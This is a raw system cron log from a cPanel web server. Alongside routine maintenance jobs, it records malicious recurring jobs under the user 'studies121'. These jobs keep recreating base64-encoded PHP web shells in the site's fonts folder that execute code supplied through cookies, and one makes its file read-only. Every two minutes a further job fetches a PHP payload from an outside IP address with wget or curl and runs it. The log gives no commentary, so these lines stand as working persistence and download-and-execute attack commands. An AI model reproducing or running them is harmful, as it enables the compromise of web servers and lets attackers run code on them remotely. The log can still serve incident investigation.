Sep 22 20:58:01 ip-184-168-122-23 CROND[19760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:58:01 ip-184-168-122-23 CROND[19761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:58:01 ip-184-168-122-23 CROND[19762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:58:01 ip-184-168-122-23 CROND[19765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:59:01 ip-184-168-122-23 CROND[20321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:59:01 ip-184-168-122-23 CROND[20324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:59:01 ip-184-168-122-23 CROND[20322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:59:01 ip-184-168-122-23 CROND[20323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:00:01 ip-184-168-122-23 CROND[21219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:00:01 ip-184-168-122-23 CROND[21220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:00:01 ip-184-168-122-23 CROND[21224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:00:01 ip-184-168-122-23 CROND[21225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:00:01 ip-184-168-122-23 CROND[21226]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 21:00:01 ip-184-168-122-23 CROND[21229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:00:01 ip-184-168-122-23 CROND[21223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:00:01 ip-184-168-122-23 CROND[21230]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:01:01 ip-184-168-122-23 CROND[21815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:01:01 ip-184-168-122-23 CROND[21818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:01:01 ip-184-168-122-23 CROND[21819]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 21:01:01 ip-184-168-122-23 CROND[21820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:01:01 ip-184-168-122-23 CROND[21824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:01:01 ip-184-168-122-23 CROND[21823]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21823]: starting 0anacron
Sep 22 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21841]: finished 0anacron
Sep 22 21:02:01 ip-184-168-122-23 CROND[22587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:02:01 ip-184-168-122-23 CROND[22590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:02:01 ip-184-168-122-23 CROND[22591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:02:01 ip-184-168-122-23 CROND[22589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:02:01 ip-184-168-122-23 CROND[22592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:03:01 ip-184-168-122-23 CROND[23116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:03:01 ip-184-168-122-23 CROND[23119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:03:01 ip-184-168-122-23 CROND[23118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:03:01 ip-184-168-122-23 CROND[23120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:04:01 ip-184-168-122-23 CROND[23264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:04:01 ip-184-168-122-23 CROND[23268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:04:01 ip-184-168-122-23 CROND[23266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:04:01 ip-184-168-122-23 CROND[23267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:04:01 ip-184-168-122-23 CROND[23269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:05:01 ip-184-168-122-23 CROND[23688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:05:01 ip-184-168-122-23 CROND[23689]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 21:05:01 ip-184-168-122-23 CROND[23694]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:05:01 ip-184-168-122-23 CROND[23691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:05:01 ip-184-168-122-23 CROND[23692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:05:01 ip-184-168-122-23 CROND[23693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:05:01 ip-184-168-122-23 CROND[23695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:06:01 ip-184-168-122-23 CROND[24006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:06:01 ip-184-168-122-23 CROND[24008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:06:01 ip-184-168-122-23 CROND[24009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:06:01 ip-184-168-122-23 CROND[24011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:06:01 ip-184-168-122-23 CROND[24010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:07:01 ip-184-168-122-23 CROND[24477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:07:01 ip-184-168-122-23 CROND[24481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:07:01 ip-184-168-122-23 CROND[24479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:07:01 ip-184-168-122-23 CROND[24480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:08:01 ip-184-168-122-23 CROND[24785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:08:01 ip-184-168-122-23 CROND[24788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:08:01 ip-184-168-122-23 CROND[24787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:08:01 ip-184-168-122-23 CROND[24789]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:08:01 ip-184-168-122-23 CROND[24790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:09:01 ip-184-168-122-23 CROND[25088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:09:01 ip-184-168-122-23 CROND[25089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:09:01 ip-184-168-122-23 CROND[25093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:09:01 ip-184-168-122-23 CROND[25092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:09:01 ip-184-168-122-23 CROND[25094]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 21:10:01 ip-184-168-122-23 CROND[25263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:10:01 ip-184-168-122-23 CROND[25265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:10:01 ip-184-168-122-23 CROND[25266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:10:01 ip-184-168-122-23 CROND[25267]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 21:10:01 ip-184-168-122-23 CROND[25269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
